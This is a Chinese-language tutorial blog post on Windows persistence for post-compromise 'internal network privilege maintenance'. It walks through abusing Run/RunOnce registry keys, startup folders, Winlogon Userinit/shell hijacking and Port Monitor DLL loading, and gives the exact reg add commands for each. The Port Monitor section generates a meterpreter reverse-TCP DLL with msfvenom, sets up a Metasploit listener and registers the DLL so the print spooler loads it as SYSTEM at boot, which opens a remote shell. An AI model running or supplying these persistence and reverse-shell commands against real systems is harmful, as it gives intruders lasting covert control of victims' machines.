内网权限维持——利用windows注册表

一、windows注册表利用原理

windows自启动是指windows系统在启动时会自动允许一些程序或服务,这些程序要么是windows自带的,要么是用户安装的第三方程序。其中,windows自启动项也有自己的启动顺序:

1. HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
2. HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
3. <Logon Prompt>
4. HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
5. HKLM\Software\Microsoft\Windows\CurrentVersion\Run
6. HKCU\Software\Microsoft\Windows\CurrentVersion\Run
7. StartUp Folder
8. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

windows自启动机制通常是通过注册表或计划任务进行实现的。在注册表中,windows自启动程序或服务注意存储在HKLM\\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Microsoft\Windows\CurrentVersion\Run;而计划任务则是通过windows task scheduler服务实现的。

二、通过Run和Runonce滥用实现权限维持

windows中run和runonce注册表主要有以下这些:

注册表具体内容
HKLM\Software\Microsoft\Windows\CurrentVersion\Run程序会在用户登陆时允许一次(所有用户)
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce当用户登录时程序会执行,执行之后该注册表项会被清空,下次用户登录时将不会启动程序(所有用户)
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices与Run的不同点只在于该程序在引导过程中就可以执行
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce与Run的不同点只在于该程序在引导过程中就可以执行
HKCU\Software\Microsoft\Windows\CurrentVersion\Run程序会在用户登陆时允许一次(当前用户)
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce当用户登录时程序会执行,执行之后该注册表项会被清空,下次用户登录时将不会启动程序(当前用户)
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices与Run的不同点只在于该程序在引导过程中就可以执行
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce与Run的不同点只在于该程序在引导过程中就可以执行

HKLM下的注册表的修改下会应用于系统中的所有用户;HKCU下的注册表的修改只应用于当前用户。

# 设置所有用户启动时,会弹计算机,仅执行一次
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Windows\System32\calc.exe"

在这里插入图片描述
在这里插入图片描述

直接切换用户是不会弹计算机的,但是重新启动或者注销后重新登录才会弹计算机。

三、系统启动文件夹劫持

将程序放在启动文件夹下会导致该程序在用户登录时执行。windows有两种启动文件夹。

# 位于以下目录中的程序会在指定用户登陆时启动
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 位于以下目录中的程序会在所有用户登陆时启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup中放了一个计算器,注销后重新登录,也会弹计算器。
在这里插入图片描述
在这里插入图片描述

四、通过WinLogon滥用维持权限

WinLogon是windows系统的组件,用于处理与用户有关的各种行为,如扽古路、注销、在登陆时加在配置文件、锁定屏幕等。
主要有两个键值可以使WinLogon在用户登录时执行恶意程序:

# 用户登录时执行的用户初始化程序,默认为userinit.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\Userinit
# 用户登录后默认启动的程序或Shell界面。默认值为explorer.exe,即Windows资源管理器
HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\shell

1、userinit覆盖前查询其值。

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" # 查询注册表内容

在这里插入图片描述
2、覆盖Userinit值。

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\calc.exe","C:\Windows\system32\userinit.exe"

在这里插入图片描述
3、注销后重新登录,会弹计算器。
在这里插入图片描述

注意:在滥用userinit和shell键时,需要保留键中的原有程序,将待启动程序添加到原有程序后面,以,分隔

五、Port Monitor

打印后台处理服务(Port Spooler)负责管理windows系统的打印作业。与该服务的交互是通过Print Spooler API执行的,其中包含AddMonnitor函数,用于安装Port Monitor(本地端口监视器),并连接配置、数据和监视器文件。AddMonitor函数能够将dll注入到spoolsv.exe进程,以实现相应的功能。利用该技术需要管理员权限

1、MSF生成恶意的DLL文件,并监听

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.1 LPORT=8888 -f dll -o reverse_shell.dll

在这里插入图片描述

use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1
set lport 8888
exploit

在这里插入图片描述

2、将生成的DLL上传到目标主机C:\Windows\System32中,并执行下面命令,通过编辑注册表安装一个端口监视器。

reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse_shell.dll"
# /d:后面添加路径,相对路径是C:\Windows\System32

当系统重新启动时,Print Spooler服务在启动过程中会读取Monitors注册表项的所有子项,并以SYSTEM权限加载Driver键值所指定的DLL文件。
在这里插入图片描述
在这里插入图片描述
3、重启系统,获取反弹shell。
在这里插入图片描述

  • 18
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值